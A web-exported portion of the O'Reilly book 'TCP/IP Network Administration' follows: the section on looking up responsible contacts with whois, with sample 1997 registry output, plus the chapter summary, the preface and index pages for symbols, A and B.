Previous: 13.4 Retrieving RFCs | TCP/IP Network Administration | Next: 13.6 The White Pages
13.4 Retrieving RFCs | Book Index | 13.6 The White Pages


[Chapter 13] 13.6 The White Pages

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 13.5 Mailing Lists Chapter 13
Internet Information Resources 		Next: 13.7 Summary

13.6 The White Pages

archie helps you locate important programs. The Web helps you retrieve important documents. whois helps you locate important people. One of the most important pieces of information in a network is who is in charge at the other end. In Chapter 11, Troubleshooting TCP/IP , we pointed out that it is important to know who is responsible for the other end of the link when troubleshooting a network problem. whois is a tool that helps you find this out.

whois obtains the requested information from the Internet white pages. The white pages is a database of information about responsible people that is maintained by the InterNIC. When you request an official network number or domain name, you are asked to provide your NIC handle, which is the index of your personal record in the white pages database. If you don't have a handle, the InterNIC assigns you one and automatically registers you in the white pages. Because of this, everyone who is responsible for an official network or domain has an entry in the white pages, and that entry can be retrieved by anyone who needs to contact them.

Many UNIX systems provide a whois command to query the InterNIC white pages. The general form of this command is:

% whois [-h server] name

The name field is the information to be searched for in the white pages database. The server field is the name of a system containing the white pages. Use rs.internic.net to locate responsible people, which is the default on most systems.

In the following example, we search for an entry for Craig Hunt. An individual's name is entered in the white pages as: last-name, first-name initial. So we ask to search for Hunt, Craig. [5]

[5] whois hunt would return several matches. Be as specific as possible to reduce the number of matches.

% whois 'Hunt, Craig'
[rs.internic.net]
Hunt, Craig (CH999)   info@foo.bar      +1 (123) 555 6789
Hunt, Craig W. (CWH3) Hunt@ENH.NIST.GOV    (301) 975-3827

To single out one record, look it up with "!xxx", where xxx is the
handle, shown in parenthesis following the name, which comes first.

The InterNIC Registration Services Host contains ONLY Internet
Information (Networks, ASN's, Domains, and POC's).
Please use the whois server at nic.ddn.mil for MILNET Information.

If multiple matches are returned, as in this case, follow with a query for the individual's NIC handle to get the full information display. To query for the NIC handle, which is the field enclosed in parentheses directly following the username, simply enter the handle on the whois command line. The message at the end of the sample output implies that handles are entered as !xxx. This is not true. The UNIX whois command does not require the ! syntax. For example, to get more details about CWH3, enter:

%  whois cwh3
[rs.internic.net]
Hunt, Craig W. (CWH3)          Hunt@ENH.NIST.GOV
  National Institute of Standards and Technology
  Computer Systems and Communications Division
  Technology Building, Room A151
  Gaithersburg, MD 20899
  (301) 975-3827 (FTS) 879-3827

  Record last updated on 03-Dec-90.
  Database last updated on 15-Jul-97 04:35:06.

User information is generally only useful if you know exactly who you want to send email to and you don't know his or her address. The white pages database contains several other kinds of records, a few of which are very helpful for locating the people responsible for networks, domains, and hosts throughout the Internet. These record types are:

Domain

Provides detailed contact information for the people responsible for the specified domain.

Network

Provides detailed information for the contacts for the specified network.

Host

Provides general information about the specified host. This record type is not as useful as the others.

These record types can be used in the whois query to speed processing and limit the amount of output. All of the record types shown above can be abbreviated to their first two letters.

A sample query for the domain ora.com produces the following results:

% whois 'do ora.com'
O'Reilly & Associates (ORA-DOM1)
   101 Morris Street
   Sebastopol, CA 95472

   Domain Name: ORA.COM

   Administrative Contact, Technical Contact, Zone Contact:
      Pearce, Eric  (EP86)  eap@ORA.COM
      707-829-0515 x221
   Billing Contact:
      Johnston, Rick  (RJ724)  rick@ORA.COM
      707-829-0515 x331

   Record last updated on 28-Jan-97.
   Record created on 14-Jun-89.
   Database last updated on 15-Jul-97 04:35:06 EDT.

   Domain servers in listed order:

   NS.ORA.COM                   207.25.97.8
   NS.SONGLINE.COM              204.148.41.1

The query displays the name, address, and telephone number of the contacts for the domain, as well as a list of hosts providing authoritative name service for the domain.

To query the host record for a specific host, in this case one of the name servers listed above, simply query the desired hostname. For example, to find out more about ns.songline.com, enter:

% whois 'host ns.songline.com'
[No name] (NS2441-HST)

   Hostname: NS.SONGLINE.COM
   Address: 204.148.41.1
   System: Sun Sparc20 running Solaris 2.4

   Record last updated on 21-Aug-95.
   Database last updated on 15-Jul-97 04:35:06 EDT.

This query displays the hostname, IP address, and the system type: essentially the same information we could get from DNS.

A much more interesting query is for the point of contact for a specific network. To find out, enter a whois query with the network number. In our example, the IP address of one of the servers is 207.25.97.8. This is a class C address, so the network number is 207.25.97.0. The query is constructed as shown in the example below:

% whois 'net 207.25.97.0'
ANS CO+RE Systems, Inc. (NETBLK-ANS-C-BLOCK4)
   100 Clearbrook Rd
   Elmsford, NY 10523

   Netname: ANS-C-BLOCK4
   Netblock: 207.24.0.0 - 207.27.255.255
   Maintainer: ANS

   Coordinator:
      Vaidya, Vijay  (VV38)  vijay@ANS.NET
      914-789-5360
   Alternate Contact:
      ANS Hostmaster  (AH-ORG)  hostmaster@ANS.NET
      (800)456-6300  fax: (914)789-5310

   Domain System inverse mapping provided by:

   NS.ANS.NET                   192.103.63.100
   NIS.ANS.NET                  147.225.1.2

   Record last updated on 02-Sep-96.
   Database last updated on 15-Jul-97 04:35:06 EDT.

This query could also be done by network name, ANS-C-BLOCK4 in our example, but frequently you won't know the network name until you get the response from your query. In addition to the network name and number, this query tells you who is responsible for this network, and what name servers provide in-addr.arpa domain service for this network.

With the information from these queries, we could contact the domain administrator and the network administrator. From these key contacts, we could learn about the administrators of individual systems in their domain or on their network. This information could put us directly in touch with the other system administrator we need to talk to when debugging a network problem.

Not all systems have a local whois command. If your system doesn't, telnet to rs.internic.net and enter whois at the command-line prompt. You'll then be prompted with Whois:. At this prompt enter any name you wish to search for, or enter help for more information.

Previous: 13.5 Mailing Lists | TCP/IP Network Administration | Next: 13.7 Summary
13.5 Mailing Lists | Book Index | 13.7 Summary


[Chapter 13] 13.7 Summary

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 13.6 The White Pages Chapter 13
Internet Information Resources 		Next: A. PPP Tools

13.7 Summary

There is a wealth of information available through the network. Much of the available material provides information about TCP/IP and networking. The RFCs are, of course, a great source of information, but many RFCs are not written for beginners. It can be difficult determining which RFCs to read first. To help you make that decision, some RFCs that provide general information are identified as FYIs (For Your Information). The FYIs can be obtained from http://www.internic.net in the same manner as the RFCs.

In addition, you can find many books and papers about networking. My favorite reference to Internet information resources is The Whole Internet User's Guide & Catalog, by Ed Krol (O'Reilly & Associates). Not only does it explain how to use the information retrieval tools introduced in this chapter, it provides a well-organized catalog of many of the information sources available on the network.

As you explore these information sources, you'll see that there is much more to the network than can ever be covered in one book. This book has been your launching pad - helping you connect your system to the network. Now that your system is up and running, use it as a tool to expand your information horizons.

Previous: 13.6 The White Pages | TCP/IP Network Administration | Next: A. PPP Tools
13.6 The White Pages | Book Index | A. PPP Tools


TCP/IP Network Administration

By Craig Hunt; ISBN 1-56592-322-7, 630 pages.
Second Edition, December 1997.
(See the catalog page for this book.)

Search the text of TCP/IP Network Administration.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Table of Contents

Preface
Chapter 1: Overview of TCP/IP
Chapter 2: Delivering the Data
Chapter 3: Network Services
Chapter 4: Getting Started
Chapter 5: Basic Configuration
Chapter 6: Configuring the Interface
Chapter 7: Configuring Routing
Chapter 8: Configuring DNS Name Service
Chapter 9: Configuring Network Servers
Chapter 10: sendmail
Chapter 11: Troubleshooting TCP/IP
Chapter 12: Network Security
Chapter 13: Internet Information Resources

Appendix A: PPP Tools
Appendix B: A gated Reference
Appendix C: A named Reference
Appendix D: A dhcpd Reference
Appendix E: A sendmail Reference
Appendix F: Selected TCP/IP Headers

The Networking CD Bookshelf Navigation The Networking CD BookshelfDNS & BINDsendmailsendmail Desktop ReferenceBuilding Internet FirewallsPractical UNIX & Internet Security

Copyright © 1999 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
Foreword from the First Edition
Audience
Organization
UNIX Versions
Conventions
We'd Like to Hear from You
Acknowledgments

The protocol wars are over and TCP/IP won. TCP/IP is now universally recognized as the pre-eminent communications protocol for linking together diverse computer systems. The importance of interoperable data communications and global computer networks is no longer debated. But that was not always the case. When I wrote the first edition of this book, IPX was far and away the leading PC communications protocol. Microsoft did not bundle communications protocols in their operating system. Corporate networks were so dependent on SNA that many corporate network administrators had not even heard of TCP/IP. Even UNIX, the mother of TCP/IP, nursed a large number of pure UUCP networks. Back then I felt compelled to tout the importance of TCP/IP by pointing out that it was used on thousands of networks and hundreds of thousands of computers. How times have changed! Today we count the hosts and users connected to the Internet in the tens of millions. And the Internet is only the tip of the TCP/IP iceberg. The largest market for TCP/IP is in the corporate "intranet." An intranet is a private TCP/IP network used to disseminate information within the enterprise. The competing network technologies have shrunk to niche markets where they fill special needs - while TCP/IP has grown to be the communications software that links the world.

The acceptance of TCP/IP as a worldwide standard and the size of its global user base are not the only things that have changed. In 1991 I lamented the lack of adequate documentation. At the time it was difficult for a network administrator to find the information he or she needed to do the job. Since that time there has been an explosion of books about TCP/IP and the Internet. However, there are still too few books that concentrate on what a system administrator really needs to know about TCP/IP administration and too many books that try to tell you how to surf the Web. In this book I strive to focus on TCP/IP and UNIX, and not to be distracted by the phenomenon of the Internet.

I am very proud of the first edition of TCP/IP Network Administration. In the second edition, I have done everything I can to maintain the essential character of the book while making it better. The Domain Name Service material has been updated to cover the latest version of the BIND 4 software. The email configuration is now based on sendmail version 8, and the operating system examples are from the current versions of Solaris and Linux. The routing protocol coverage has been expanded to include Open Shortest Path First (OSPF) and Border Gateway Protocol (BGP). I have also added new topics such as one-time passwords and configuration servers based on Dynamic Host Configuration Protocol (DHCP) and Bootstrap Protocol (BOOTP). Despite the additional topics, the book has been kept to a reasonable length.

The bulk of this edition is derived directly from the first edition of the book. To emphasize both that times have changed and that my focus on practical information has not, I have left the introductory paragraphs from the first edition intact.

Foreword from the First Edition

The Internet, the world's largest network, grew from fewer than 6,000 computers at the end of 1986 to more than 600,000 computers five years later. [1] This explosive growth demonstrates the incredible demand for network services. This growth has taken place despite a lack of practical information for network administrators. Most administrators have been forced to content themselves with man pages, or protocol documents and scholarly texts written from the point of view of the protocol designer. For practical information, most of us have relied on the advice of friends who had already networked their computers. This book addresses the lack of information by providing practical, detailed network information for the UNIX system administrator.

[1] These figures are taken from page 4 of RFC 1296, Internet Growth (1981-1991), by M. Lottor, SRI International. Read this book and you'll learn what an RFC is, and how to get your own free copy!

Networks have grown so extravagantly because they provide an important service. It is in the nature of computers to generate and process information, but this information is frequently useless unless it can be shared with the people who need it. The network is the vehicle that enables data to be easily shared. Once you network your computer, you'll never want to be stuck on an isolated system again.

The common thread that ties the enormous Internet together is TCP/IP network software. TCP/IP is a set of communications protocols that define how different types of computers talk to each other. This is a book about building your own network based on TCP/IP. It is both a tutorial covering the "why" and "how" of TCP/IP networking, and a reference manual for the details about specific network programs.

TCP/IP Network Administration | Next: Audience
Book Index | Audience


[Preface] Audience

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: Foreword from the First Edition Preface Next: Organization

Audience

This book is intended for everyone who has a UNIX computer connected to a TCP/IP network. [2] This obviously includes the network managers and the system administrators who are responsible for setting up and running computers and networks, but it also includes any user who wants to understand how his or her computer communicates with other systems. The distinction between a "system administrator" and an "end user" is a fuzzy one. You may think of yourself as an end user, but if you have a UNIX workstation on your desk, you're probably also involved in system administration tasks.

[2] Much of this text also applies to non-UNIX systems. Many of the file formats and commands, and all of the protocol descriptions apply equally well to Windows 95, Windows NT, and other operating systems. If you're an NT administrator, don't worry. I'm currently writing an NT version of this book.

In recent years there has been a rash of books for "dummies" and "idiots." If you really think of yourself as an "idiot" when it comes to UNIX, this book is not for you. Likewise, if you are a network administration "genius," this book is probably not suitable. If you fall anywhere between these two extremes, however, you'll find this book has a lot to offer.

We assume that you have a good understanding of computers and their operation, and that you're generally familiar with UNIX system administration. If you're not, the Nutshell Handbook Essential System Administration by Æleen Frisch (published by O'Reilly & Associates) will fill you in on the basics.

Previous: Foreword from the First Edition | TCP/IP Network Administration | Next: Organization
Foreword from the First Edition | Book Index | Organization


[Preface] Organization

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: Audience Preface Next: UNIX Versions

Organization

Conceptually, this book is divided into three parts: fundamental concepts, tutorial, and reference. The first three chapters are a basic discussion of the TCP/IP protocols and services. This discussion provides the fundamental concepts necessary to understand the rest of the book. The remaining chapters provide a "how-to" tutorial. Chapters 4-7 discuss how to plan a network installation and configure the basic software necessary to get a network running. Chapters 8-10 discuss how to set up various important network services. The final chapters, 11-13, cover how to perform the ongoing tasks that are essential for a reliable network: troubleshooting, security, and keeping up with changing network information. The book concludes with a series of appendices that are technical references for important commands and programs.

This book contains the following chapters:

Chapter 1, Overview of TCP/IP, gives the history of TCP/IP, a description of the structure of the protocol architecture, and a basic explanation of how the protocols function.

Chapter 2, Delivering the Data, describes addressing and how data passes through a network to reach the proper destination.

Chapter 3, Network Services, discusses the relationship between clients and server systems, and the various services that are central to the function of a modern internet.

Chapter 4, Getting Started , begins the discussion of network setup and configuration. This chapter discusses the preliminary configuration planning needed before you configure the systems on your network.

Chapter 5, Basic Configuration , describes how to configure TCP/IP in the UNIX kernel, and how to configure the Internet daemon that starts most of the network services.

Chapter 6, Configuring the Interface , tells you how to identify a network interface to the network software. This chapter provides examples of Ethernet, SLIP, and PPP interface configurations.

Chapter 7, Configuring Routing , describes how to set up routing so that systems on your network can communicate properly with other networks. It covers the static routing table, commonly used routing protocols, and gated, a package that provides the latest implementations of several routing protocols.

Chapter 8, Configuring DNS Name Service , describes how to administer the name server program that converts system names to Internet addresses.

Chapter 9, Configuring Network Servers , describes how to configure the most common network servers. The chapter discusses the BOOTP and DHCP configuration servers, the LPD print server, the POP and IMAP mail servers, the Network Filesystem (NFS), and the Network Information System (NIS).

Chapter 10, sendmail , discusses how to configure sendmail, which is the daemon responsible for delivering electronic mail.

Chapter 11, Troubleshooting TCP/IP , tells you what to do when something goes wrong. It describes the techniques and tools used to troubleshoot TCP/IP problems, and gives examples of actual problems and their solutions.

Chapter 12, Network Security , discusses how to live on the Internet without excessive risk. This chapter covers the security threats brought by the network, and the plans and preparations you can make to meet those threats.

Chapter 13, Internet Information Resources , describes the information resources available on the Internet and how you can make use of them. It also describes how to set up an information server of your own.

Appendix A, PPP Tools, is a reference guide to the various programs used to configure a serial port for TCP/IP. The reference covers dip, pppd, and chat.

Appendix B, A gated Reference, is a complete reference guide to the configuration language of the gated routing package.

Appendix C, A named Reference, is a reference guide to the Berkeley Internet Name Domain (BIND) name server software.

Appendix D, A dhcpd Reference, is a reference guide to the Dynamic Host Configuration Protocol Daemon (dhcpd).

Appendix E, A sendmail Reference, is a detailed reference to sendmail syntax, options and flags. It also contains sections of the sendmail.cf configuration file developed in the step-by-step examples in Chapter 10.

Appendix F, Selected TCP/IP Headers, contains detailed protocol references, taken directly from the RFCs, that support the protocol troubleshooting examples in Chapter 11.

Previous: Audience | TCP/IP Network Administration | Next: UNIX Versions
Audience | Book Index | UNIX Versions


[Preface] UNIX Versions

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: Organization Preface Next: Conventions

UNIX Versions

Most of the examples in this book are taken from Linux 2.0.0, which is a freely available UNIX-like operating system, and from Solaris 2.5.1, which is the Sun operating system based on System V UNIX. Fortunately, TCP/IP software is remarkably standard from system to system. Because the TCP/IP software is so uniform, the examples should be applicable to any Linux, System V, or BSD-based UNIX system. There are small variations in command output or command-line options, but these variations should not present a problem.

Some of the ancillary networking software is identified separately from the UNIX operating system by its own release number. Many such packages are discussed, and when appropriate are identified by their release numbers. The most important of these packages are:

BIND

Our discussion of the BIND software is based on version 4.9.5 running on a Slackware 96 Linux system. This version of BIND supports all of the standard resource records and there are relatively few differences between it and the current releases of BIND provided by computer vendors.

sendmail

Our discussion of sendmail is based on release 8.8.5. This version should be compatible with other releases of sendmail v8. However, sendmail has been changing rapidly in recent years.

Previous: Organization | TCP/IP Network Administration | Next: Conventions
Organization | Book Index | Conventions


[Preface] Conventions

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: UNIX Versions Preface Next: We'd Like to Hear from You

Conventions

This book uses the following typographical conventions:

Italic

is used for the names of files, directories, hostnames, domain names, and to emphasize new terms when they are first introduced.

Bold

is used for command names.

Constant width

is used to show the contents of files or the output from commands. Keywords are also in constant width.

Constant bold

is used in examples to show commands or text that you would type.

Constant italic

is used in examples and text to show variables for which a context-specific substitution should be made. (The variable filename, for example, would be replaced by some actual filename.)

%, #

When we demonstrate commands that you would give interactively, we normally use the default C shell prompt (%). If the command must be executed as root, then we use the default superuser prompt (#). Because the examples may include multiple systems on a network, the prompt may be preceded by the name of the system on which the command was given.

[ option ]

When showing command syntax, we place optional parts of the command within brackets. For example, ls [ -l ] means that the -l option is not required.

Previous: UNIX Versions | TCP/IP Network Administration | Next: We'd Like to Hear from You
UNIX Versions | Book Index | We'd Like to Hear from You


[Preface] We'd Like to Hear from You

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: Conventions Preface Next: Acknowledgments

We'd Like to Hear from You

We have tested and verified all of the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in the U.S. or Canada)

1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

You can also send us messages electronically. To be put on our mailing list or to request a catalog, send email to:

info@ora.com (via the Internet)

To ask technical questions or comment on the book, send email to:

bookquestions@ora.com (via the Internet)

Previous: Conventions | TCP/IP Network Administration | Next: Acknowledgments
Conventions | Book Index | Acknowledgments


[Preface] Acknowledgments

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: We'd Like to Hear from You Preface Next: 1. Overview of TCP/IP

Acknowledgments

I would like to thank the many people who helped in the preparation of this book. All of the people who contributed to the first edition - John Wack, Matt Bishop, Wietse Venema, Eric Allman, Jeff Honig, Scott Brim, and John Dorgan - deserve thanks because so much of their input lives on in this edition.

The second edition has benefited from many contributors. Bryan Costales and Eric Allman did their best to set me straight about sendmail V8. Cricket Liu and Paul Albitz provided many comments that improved the sections on Domain Name Service. Ted Lemon provided insights about the technical details of DHCP and dhcpd. Elizabeth Zwicky's and Brent Chapman's insights on security were very helpful. Simson Garfinkel also commented on the security chapter. (You can't be too careful about security!) Jeff Sedayao reviewed the entire book and provided improvements for almost every chapter. And finally Æleen Frisch showed me the gaps that needed to be filled in. All of these people helped me make this book better than the first edition. Thanks!

All the people at O'Reilly & Associates have been very helpful. Mike Loukides, my editor, deserves a special thanks. Mike keeps me pointed in the right direction when my enthusiasm fades. Gigi Estabrook handled the very hectic job of editing the second edition. Nicole Gipson Arigo was the production editor and project manager. Nancy Wolfe Kotary and Jane Ellin performed quality control checks. Elissa Haney provided production assistance. Bruce Tracy wrote the index. Edie Freedman designed the cover, and Nancy Priest designed the interior format of the book. Lenny Muellner implemented the format in troff. Chris Reilley's handiwork from the first edition has been updated by Robert Romano, who created the illustrations for this edition.

Finally, I want to thank my family - Kathy, Sara, David, and Rebecca. They keep my feet on the ground when the pressure to meet deadlines is driving me into orbit. They are the best.

Previous: We'd Like to Hear from You | TCP/IP Network Administration | Next: 1. Overview of TCP/IP
We'd Like to Hear from You | Book Index | 1. Overview of TCP/IP


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

6-bit serial lines, running over : 5.2. Linux Kernel Configuration
7bit encoding type : 3.4.3. Multipurpose Internet Mail Extensions
8bit encoding type : 3.4.3. Multipurpose Internet Mail Extensions
'' (apostrophes) (expect nothing) : 6.3.3. chat
apostrophes ('') (expect nothing) : A.3. chat
* (asterisk)
meaning interface not enabled : 6.1.1. Determining the Interface Name
in name field, indicating wildcard character : C.3.1. Standard Resource Records
@ (at sign)
for current origin : C.3.1. Standard Resource Records
excluding an individual parameter : 9.4. A BOOTP Server
referencing current domain : 8.3.5. The Reverse Domain File
\ (backslash) escaping newline characters
9.2.1. The printcap File
A.3. chat
C.3.1. Standard Resource Records
: (colon)
beginning and ending fields
9.2.1. The printcap File
9.2.2. Solaris Line Printer Service
separating parameters : 9.4. A BOOTP Server
{} (curly braces)
configuration statements
7.7.1.1. A host configuration
B.2. The gated Configuration Language
D.3. The dhcpd.conf Configuration File
long variable names : 10.5. sendmail Configuration
macro names : 10.5.2. The Define Macro Command
.. (dots) for domain name : C.3.1. Standard Resource Records
- (minus) (non-equivalent host) : 12.2.5. Secure the r Commands
-> (arrow), for copying files : 9.6.1. rdist
() (parentheses), for continuation characters : C.3.1. Standard Resource Records
; (semicolon)
comment character : C.3.1. Standard Resource Records
ending gated configuration statements
7.7.1.1. A host configuration
B.2. The gated Configuration Language
# (sharp sign) for comments
3.2. The Host Table
5.4. The Internet Daemon
7.7.1.1. A host configuration
9.1.4. NFS Automounter
9.2.1. The printcap File
9.4. A BOOTP Server
A.1.1. The dip Script File
D.3. The dhcpd.conf Configuration File

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

ABORT keyword : A.3. chat
Abstract Syntax Notation One (ASN.1) : 11.9. Simple Network Management Protocol
access control : 12.5. Access Control
levels of : 9.1.2.1. The share command
services to place under, listed : 12.5.1. wrapper
software for : 12.5. Access Control
ACKD command, in POP : 3.4.2. Post Office Protocol
Acknowledgment (ACK) bit set : 1.6.2. Transmission Control Protocol
Acknowledgment Number field : 1.6.2. Transmission Control Protocol
adaptive protocol value : 6.4.1. slattach
Address Resolution Protocol : (see ARP)
addresses
1.1.1. TCP/IP Features
1.7. Application Layer
2.1. Addressing, Routing, and Multiplexing
(see also IP addresses)
(see also leases on addresses)
allocating
dynamically : 3.6.1. Dynamic Host Configuration Protocol
manually : 3.6.1. Dynamic Host Configuration Protocol
assigning
in blocks : 4.2.1.1. Assigning host addresses
in contiguous blocks
2.2.2. Classless IP Addresses
B.11. The Aggregate Statements
in DHCP : 3.6.1. Dynamic Host Configuration Protocol
broadcast
2.2.2.1. Final notes on IP addresses
2.6. Address Resolution
4. Getting Started
6.1. The ifconfig Command
6.1.2. Checking the Interface with ifconfig
limited : 3.6. Bootstrap Protocol
setting : 6.1.4. Setting the Broadcast Address
specifying : 4.2.2. Defining the Subnet Mask
classes of
1.7. Application Layer
2.2.1. Address Classes
4.2.1. Obtaining an IP Address
class rules : 7.4.1.1. Running RIP with routed
converting : 10.6.3. The Set Ruleset Command
email
processing : 10.6.3. The Set Ruleset Command
simplified : 10.5.3. The Define Class Command
gateway : (see gateway)
getting in pppd : 6.3.2. Dial-Up PPP
host : 2.2.1. Address Classes
assigning : 4.2.1.1. Assigning host addresses
Internet-style : 10.7.1. Modifying Local Information
mask, written in hexadecimal : 6.1.2. Checking the Interface with ifconfig
mixtures of in DHCP : 3.6.1. Dynamic Host Configuration Protocol
multiple : 8.2.1. The Resolver Configuration File
numeric : 3.1. Names and Addresses
processing
by several rewrite rules : 10.6.2. Transforming the Address
verifying : 10.8. Testing sendmail.cf
recipient : 10.6.3. The Set Ruleset Command
records of : C.3.1.3. Address record
reserved
2.2.1. Address Classes
2.2.2.1. Final notes on IP addresses
resolution of : 2.6. Address Resolution
sender
10.6.3. The Set Ruleset Command
10.8.1. Testing Rewrite Rules
spoofing
4.2.1. Obtaining an IP Address
5.2. Linux Kernel Configuration
timing out : 3.6.1. Dynamic Host Configuration Protocol
translating : 5.2. Linux Kernel Configuration
admin alias : 10.3. sendmail Aliases
administration : (see network, administration)
admintool
9.2.2. Solaris Line Printer Service
12.2.1. The Shadow Password File
adventurous users, supporting : 9.7.2. IMAP Server
aggregate statements (in gated) : B.11. The Aggregate Statements
alarms provided by monitors : 11.9. Simple Network Management Protocol
algorithms
back-off : 9.4. A BOOTP Server
Dijkstra Shortest Path First (SPF) : 7.4.3. Open Shortest Path First
distance-vector : 7.4. Interior Routing Protocols
aliases : 2.7.2. Port Numbers
file : 10.3. sendmail Aliases
processing addresses against : 10.6.3. The Set Ruleset Command
for hostnames : 8.3.6. The named.hosts File
in sendmail : 10.1. sendmail's Function
aliases file
3.4.1. Simple Mail Transfer Protocol
9.3. Network Information Service
AliasFile option : 10.5.4. The Set Option Command
allmulti parameter : 6.1.5.5. Point-to-point
alternative multipart subtype : 3.4.3. Multipurpose Internet Mail Extensions
America Online (AOL) : 4.1. Connected and Non-Connected Networks
Andrew File System : 3.7.1. File Sharing
anonymous FTP : 13.2. Anonymous FTP
ANY query : 11.6. Checking Name Service
apostrophes ('') (expect nothing)
6.3.3. chat
A.3. chat
Application Layer : 1.2. A Data Communications Model
in TCP/IP : 1.7. Application Layer
applications
content type : 3.4.3. Multipurpose Internet Mail Extensions
protocols for : 2.7.2. Port Numbers
widely implemented : 1.7. Application Layer
security issues concerning : 12.3. Application Security
archie : 13.3.1. archie
client software : 13.3.1.1. archie client software
servers : 13.3.1. archie
archie.internic.net : 13.3.1. archie
ARCnet interface : 5.2. Linux Kernel Configuration
area border routers : 7.4.3. Open Shortest Path First
ARP (Address Resolution Protocol)
2.6. Address Resolution
2.8. Summary
3.5.1. Reverse Address Resolution Protocol
command
2.6. Address Resolution
5.3.1.1. Options
in troubleshooting : 11.4.2. Troubleshooting with the arp Command
in troubleshooting : 11.2. Diagnostic Tools
enabling : 6.1.5.2. ARP and trailers
proxy server for : 5.3.1.1. Options
support in BSD : 5.3.1.2. Pseudo-device
table : A.1.1. The dip Script File
viewing contents of : 11.4.2. Troubleshooting with the arp Command
ARPA Internet Text Messages : 3.4.3. Multipurpose Internet Mail Extensions
ARPANET
1.1. TCP/IP and the Internet
1.5.1.1. The datagram
2.4. Internet Routing Architecture
6.2. TCP/IP Over a Serial Line
arrow (->), for copying files : 9.6.1. rdist
AS path
operators, listed : B.10. Control Statements
vector : B.10. Control Statements
ASCII data (US) : 3.4.3. Multipurpose Internet Mail Extensions
aspppd.cf file : 6.3.6. Solaris PPP
Assigned Numbers RFC
2.7. Protocols, Ports, and Sockets
C.3.1.7. Host Information record
assumptions, making
11.1.1. Troubleshooting Hints
11.8. Protocol Case Study
asterisk (*)
meaning interface not enabled : 6.1.1. Determining the Interface Name
in name field, indicating wildcard character : C.3.1. Standard Resource Records
asynchronous modems : (see modems)
Asynchronous PPP Daemon (aspppd) : 6.3.6. Solaris PPP
at sign (@)
for current origin : C.3.1. Standard Resource Records
excluding an individual parameter : 9.4. A BOOTP Server
referencing current domain : 8.3.5. The Reverse Domain File
at, files run by, in security checks : 12.4.2. Looking for Trouble
audio data content : 3.4.3. Multipurpose Internet Mail Extensions
authentication
1.7. Application Layer
4.2.1. Obtaining an IP Address
9.3.2. NIS+
12.2. User Authentication
(see also packet)
(see also user authentication)
DES-encrypted : 9.3.2. NIS+
in pppd
6.3.4. PPP Daemon Security
A.2. The PPP Daemon
server : 9.1.5. NFS Authentication Server
authoritative servers
1.7. Application Layer
3.3. Domain Name Service
3.3.4. BIND, resolver, and named
(see also non-authoritative servers)
auto_direct file : 9.1.4. NFS Automounter
auto_home file : 9.1.4. NFS Automounter
auto_master file : 9.1.4. NFS Automounter
auto-revarp parameter : 6.1.5.5. Point-to-point
autofs script : 9.1.4. NFS Automounter
Automatic Call Unit (ACU) : 6.3.6. Solaris PPP
automount : 9.1.4. NFS Automounter
command : 9.1.4. NFS Automounter
configuration files (maps) for : 9.1.4. NFS Automounter
filesystem (autofs), defining : 9.1.4. NFS Automounter
automounter daemon (automountd) : 9.1.4. NFS Automounter
autonomous systems (AS)
2.4. Internet Routing Architecture
7.4. Interior Routing Protocols
defined : 7.5. Exterior Routing Protocols
external (ASE) routes
7.7.1.3. Exterior gateway configuration
B.8.1. The ospf Statement
B.10.1. The import Statement
types of : B.10.2. The export Statement
listing of : B.10. Control Statements
number (ASN)
4.3.1. Obtaining an autonomous system number
B.7. Definition Statements
B.8.5. The bgp Statement
subdividing : 7.4.3. Open Shortest Path First

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

back-off algorithms : 9.4. A BOOTP Server
backbones
7.4.3. Open Shortest Path First
7.7.1.2. Interior gateway configurations
backslash (\) escaping newline characters
9.2.1. The printcap File
A.3. chat
C.3.1. Standard Resource Records
bandwidth
increasing : 5.2. Linux Kernel Configuration
using efficiently
7.4.1.1. Running RIP with routed
8.3.1.1. Configuring a caching-only nameserver
base64 encoding type : 3.4.3. Multipurpose Internet Mail Extensions
basic audio subtype : 3.4.3. Multipurpose Internet Mail Extensions
Basic Encoding Rules (BER) : 11.9. Simple Network Management Protocol
basic terminology : (see terminology, importance of using standard)
bastion host : 12.7. Firewalls
Berkeley Internet Name Domain : (see BIND)
BGP (Border Gateway Protocol)
Preface
2.4. Internet Routing Architecture
4.3.1. Obtaining an autonomous system number
7.5. Exterior Routing Protocols
7.5.2. Border Gateway Protocol
enabling (in gated)
7.7.1.3. Exterior gateway configuration
B.10. Control Statements
inside autonomous systems : 7.7.1.3. Exterior gateway configuration
statement (in gated) : B.8.5. The bgp Statement
bi-lateral agreements : 2.4. Internet Routing Architecture
binary
data : 3.4.3. Multipurpose Internet Mail Extensions
encoding type : 3.4.3. Multipurpose Internet Mail Extensions
BIND (Berkeley Internet Name Domain)
Preface
UNIX Versions
3.3.4. BIND, resolver, and named
8.1. BIND: UNIX Name Service
11.2. Diagnostic Tools
configuration types : 8.1.1. BIND Configurations
debugging : 8.4. Using nslookup
